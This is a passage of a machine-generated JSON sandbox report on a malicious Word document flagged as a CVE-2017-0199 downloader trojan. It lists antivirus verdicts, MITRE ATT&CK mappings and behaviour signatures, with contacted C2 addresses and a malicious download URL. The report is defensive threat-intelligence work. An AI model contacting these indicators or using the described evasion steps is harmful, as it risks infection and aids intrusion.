trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 0001140e1 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan-Downloader.MSOffice.Agent.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Trojan-FRVP!AF83AD63D2E3","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Exploit.Xml.CVE-2017-0199.equmby","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/DocDl-ZFL","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"Trojan.A369818C","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"Trojan.A369818C","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"CVE-2017-0199","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Exploitation for Client Execution","attack_id":"T1203","attack_id_wiki":"https://attack.mitre.org/techniques/T1203","identifiers":[{"type":"malicious","value":"Possible document exploit detected"}],"sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1035","attack_id_wiki":"https://attack.mitre.org/techniques/T1035","identifiers":[{"type":"informative","value":"Opened the service control manager"}],"sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"tactic":"Persistence","technique":"Hooking","attack_id":"T1179","attack_id_wiki":"https://attack.mitre.org/techniques/T1179","identifiers":[{"type":"informative","value":"Loads rich edit control libraries"},{"type":"informative","value":"Hooks API calls"},{"type":"informative","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Removes Office resiliency keys (often used to avoid problems opening documents)"}],"sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Scanning for window names"}],"sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"tactic":"Command and Control","technique":"Commonly Used Port","attack_id":"T1043","attack_id_wiki":"https://attack.mitre.org/techniques/T1043","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Loads rich edit control libraries"}],"sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Contains references to WMI/WMIC"}],"sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to modify processes thread functionality (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"},{"type":"informative","value":"Rename files"}],"sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"tactic":"Defense Evasion","technique":"Double File Extension","attack_id":"T1036.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/007","identifiers":[{"type":"informative","value":"Rename files with double extension (often done by ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Found a cryptographic related string"},{"type":"informative","value":"Contains ability to use cryptographic services (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Contains ability to retreive system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Contains ability to perform remote procedure calls (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found a potential E-Mail address in binary/memory"},{"type":"informative","value":"Found mail information locations related strings"}],"sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"suspicious","value":"Process binds to unusual ports"}],"sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts server"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Decrypted SSL network traffic"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"YARA signature match - RC4 Encryption"}],"sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]}],"sandbox_signatures":[{"level":"informative","category":"General","name":"Contacts domains","description":"\"isrg.trustid.ocsp.identrust.com\"\n \"ocsp.int-x3.letsencrypt.org\"\n \"www.anca-aste.it\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"51.68.152.96:443\"\n \"23.63.75.137:80\"\n \"23.63.245.17:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"WINWORD.EXE\" created file \"%TEMP%\\mso9B4.tmp\"\n \"WINWORD.EXE\" created file \"%TEMP%\\{B163D532-A94F-4B73-B9F6-F036CA11E6BA}\"\n \"WINWORD.EXE\" created file \"%TEMP%\\{32FB4CA6-BDAB-49C1-A9DE-CA4BB6A9AF59}\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$25","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"~_eing_spectrolab.docx-.docx\" as clean (type is \"data\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"WINWORD.EXE\" loaded module \"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE14\\RICHED20.DLL\" at F24B0000","origin":"Loaded Module","mitre_attack_id":"T1179","id":"module-2","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"General","name":"Opened the service control manager","description":"\"WINWORD.EXE\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)\n \"WINWORD.EXE\" called \"OpenSCManager\" requesting access rights \"0XE0000000L\"","origin":"API Call","mitre_attack_id":"T1035","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"level":"informative","category":"General","name":"Removes Office resiliency keys (often used to avoid problems opening documents)","description":"\"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \"/33\")\n \"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \"E53\")\n \"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \" )3\"), \"WINWORD.EXE\" (Access type: \"DELETE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"), \"WINWORD.EXE\" (Access type: \"DELETE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-68","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"WINWORD.EXE\" searching for class \"mspim_wnd32\"\n \"WINWORD.EXE\" searching for class \"MSOBALLOON\"\n \"WINWORD.EXE\" searching for class \"MsoHelp10\"\n \"WINWORD.EXE\" searching for class \"AgentAnim\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"~_eing_spectrolab.docx-.docx\" has type \"data\"\n \"~WRS_6B41B612-EA89-417F-B055-28C7A5E0316C_.tmp\" has type \"data\"\n \"_B163D532-A94F-4B73-B9F6-F036CA11E6BA_\" has type \"data\"\n \"FSF-_0E1EEE64-E8C6-4E2A-9759-63CF07FD8988_.FSF\" has type \"data\"\n \"E49827401028F7A0F97B5576C77A26CB_7CE95D8DCA26FE957E7BD7D76F353B08\" has type \"data\"\n \"FSD-_C9B38DFC-531D-4EF3-B20D-97C782E92F3D_.FSD\" has type \"data\"\n \"39D459DDDB99C3DF692AE55AF536FBF9\" has type \"data\"\n \"FSD-_D9EEAC33-AD2E-4351-97C7-F0072D7ADB40_.FSD\" has type \"data\"\n \"_32FB4CA6-BDAB-49C1-A9DE-CA4BB6A9AF59_\" has type \"data\"\n \"57C8EDB95DF3F0AD4EE2DC2B8CFD4157\" has type \"data\"\n \"FSD-CNRY.FSD\" has type \"data\"\n \"FSF-CTBL.FSF\" has type \"data\"\n \"~_Normal.dotm\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"Installation/Persistance","name":"Opens the MountPointManager (often used to detect additional infection locations)","description":"\"WINWORD.EXE\" opened \"\\Device\\MountPointManager\"","origin":"API Call","relevance":5,"id":"api-51","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$26","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"https://www.anca-aste.it/uploads/form/boeing_spectrolab_logo.jpg\"\n Heuristic match: \"isrg.trustid.ocsp.identrust.com\"\n Heuristic match: \"GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRv9GhNQxLSSGKBnMArPUcsHYovpgQUxKexpHsscfrb4UuQdf%2FEFWCFiRACEAoBQUIAAAFThXNqC4Xspwg%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: isrg.trustid.ocsp.identrust.com\"\n Heuristic match: \"ocsp.int-x3.letsencrypt.org\"\n Heuristic match: \"GET /MFMwUTBPME0wSzAJBgUrDgMCGgUABBR%2B5mrncpqz%2FPiiIGRsFqEtYHEIXQQUqEpqYwR93brm0Tm3pkVl7%2FOo7KECEgTgJYTvYyBMxd9BNz%2BmfhAeeg%3D%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.int-x3.letsencrypt.org\"\n Pattern match: \"www.anca-aste.it\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"System Security","name":"Hooks API calls","description":"\"VariantClear@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"OleLoadFromStream@OLE32.DLL\" in \"WINWORD.EXE\"\n \"SysAllocStringByteLen@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"SysFreeString@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"VariantChangeType@OLEAUT32.DLL\" in \"WINWORD.EXE\"","origin":"Hook Detection","mitre_attack_id":"T1179","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"level":"informative","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$27","origin":"Hook Detection","mitre_attack_id":"T1179","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"2/80 reputation engines marked \"http://www.anca-aste.it\" as malicious (2% detection rate)\n 1/80 reputation engines marked \"https://www.anca-aste.it/uploads/form/boeing_spectrolab_logo.jpg\" as malicious (1% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 51.68.152.96 on port 443 is sent without HTTP header\n TCP traffic to 23.63.75.137 on port 80 is sent without HTTP header\n TCP traffic to 23.63.245.17 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1043","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"malicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET MALWARE Observed Malicious SSL Cert (MalDoc DL 2020-05-27)\" (SID: 2030223, Rev: 1, Severity: 1) categorized as \"Domain Observed Used for C2 Detected\" (PUA/PUP/Adware)","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"32/63 Antivirus vendors marked sample as malicious (50% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"32/63 Antivirus vendors marked sample as malicious (50% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"},{"report_type":"sandbox","report_id":"5f4545b8780eef7ba25e7a85"},{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"malicious","category":"General","name":"GETs files from a webserver","description":"\"GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRv9GhNQxLSSGKBnMArPUcsHYovpgQUxKexpHsscfrb4UuQdf%2FEFWCFiRACEAoBQUIAAAFThXNqC4Xspwg%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: isrg.trustid.ocsp.identrust.com\"\n \"GET /MFMwUTBPME0wSzAJBgUrDgMCGgUABBR%2B5mrncpqz%2FPiiIGRsFqEtYHEIXQQUqEpqYwR93brm0Tm3pkVl7%2FOo7KECEgTgJYTvYyBMxd9BNz%2BmfhAeeg%3D%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.int-x3.letsencrypt.org\"","origin":"Network Traffic","relevance":10,"id":"network-16","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Possible document exploit detected","description":"Document is downloading files although no macro is present","origin":"Indicator Combinations","mitre_attack_id":"T1203","relevance":10,"id":"summary-2","sources":[{"report_type":"sandbox","report_id":"5ed22deca145e316b10f207d"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to perform remote procedure calls (API string)","description":"Observed API string:\"NdrClientCall2\" [Source: 00000000-00003892.00000000.75346.77331000.00000020.mdmp\n 00000000-00003892.00000001.77263.77331000.00000020.mdmp\n 00000000-00003892.00000002.79185.77331000.00000020.mdmp]","origin":"File/Memory","mitre_attack_id":"T1021","relevance":1,"id":"string-160","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use cryptographic services (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Rename files","description":"\"WINWORD.EXE\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\CVRE6D3.tmp\" to \"%TEMP%\\CVRE6D3.tmp.cvr\"","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"Cryptographic Related","name":"Found a cryptographic related string","description":"Found - (Indicator: \"des\") in Source: ~WRD0001.tmp\n Found - (Indicator: \"rc4\") in Source: ~WRD0001.tmp\n Found - (Indicator: \"rsa\") in Source: ~WRD0001.tmp\n Found - (Indicator: \"des\") in Source: 00000000-00003892-0000044C-62294968353\n Found - (Indicator: \"rc6\") in Source: ~WRD0001.tmp\n Found - (Indicator: \"des\") in Source: 00000000-00003892-00000BC0-62076051\n Found - (Indicator: \"gzip\") in Source: SSL_5.196.118.65\n Found - (Indicator: \"des\") in Source: SSL_5.196.118.65\n Found - (Indicator: \"rsa\") in Source: SSL_5.196.118.65","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retreive system language (API string)","description":"Observed api:\"GetKeyboardLayoutList\"[Source: 00000000-00003892.00000000.75346.A52C1000.00000002.mdmp\n 00000000-00003892.00000001.77263.A4F82000.00000002.mdmp\n 00000000-00003892.00000001.77263.A52C1000.00000002.mdmp\n 00000000-00003892.00000002.79185.A4F82000.00000002.mdmp\n 00000000-00003892.00000002.79185.A52C1000.00000002.mdmp]","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Observed API string:\"GetStartupInfo\" [Source: 00000000-00003892.00000000.75346.CC8D3000.00000002.mdmp\n 00000000-00003892.00000001.77263.CC8D3000.00000002.mdmp\n 00000000-00003892.00000002.79185.CC8D3000.00000002.mdmp]","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"General","name":"Contains ability to modify processes thread functionality (API string)","description":"Observed API string:\"CreateThread\" [Source: 00000000-00003892.00000000.75346.77331000.00000020.mdmp\n 00000000-00003892.00000000.75346.A84C0000.00000002.mdmp\n 00000000-00003892.00000001.77263.77331000.00000020.mdmp\n 00000000-00003892.00000001.77263.A4F82000.00000002.mdmp\n 00000000-00003892.00000001.77263.A84C0000.00000002.mdmp\n 00000000-00003892.00000002.79185.77331000.00000020.mdmp\n 00000000-00003892.00000002.79185.A4F82000.00000002.mdmp\n 00000000-00003892.00000002.79185.A84C0000.00000002.mdmp]\n Observed API string:\"OpenThread\" [Source: 00000000-00003892.00000000.75346.77331000.00000020.mdmp\n 00000000-00003892.00000000.75346.B9E1B000.00000002.mdmp\n 00000000-00003892.00000001.77263.77331000.00000020.mdmp\n 00000000-00003892.00000001.77263.A4F82000.00000002.mdmp\n 00000000-00003892.00000002.79185.77331000.00000020.mdmp\n 00000000-00003892.00000002.79185.A4F82000.00000002.mdmp]","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"General","name":"Found a potential E-Mail address in binary/memory","description":"Pattern match: \"q@u.g\"\n Pattern match: \"p@ri.mwb\"\n Pattern match: \"h@yjmw-lbo.o9\"\n Pattern match: \"p3dx@wvuy..demnbqi\"\n Pattern match: \"iw6yt@fgyw.i\"\n Pattern match: \"pandzd@-rwpl.7\"\n Pattern match: \"q0r@uo_1uoh.n4ufejcvoxap\"\n Pattern match: \"z@iu.v\"\n Pattern match: \"someone@example.com\"\n Pattern match: \"i@ififili.iririririririririxi\"\n Pattern match: \"t-cole3@uiuc.edu\"\n Pattern match: \"thabing@uiuc.edu\"\n Pattern match: \"jane@dstc.edu.au\"\n Pattern match: \"p.johnston@ukoln.ac.uk\"\n Pattern match: \"lagoze@cs.cornell.edu\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"General","name":"Found suspicious keywords in script (string)","description":"Observed keyword:\"WinHTTP\" [Source: 00000000-00003892.00000001.77263.03340000.00000004.mdmp\n 00000000-00003892.00000002.79185.03340000.00000004.mdmp]","origin":"File/Memory","relevance":1,"id":"string-154","sources":[{"report_type":"sandbox","report_id":"64063ac33ff0d7c5570754e2"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$29","origin":"API 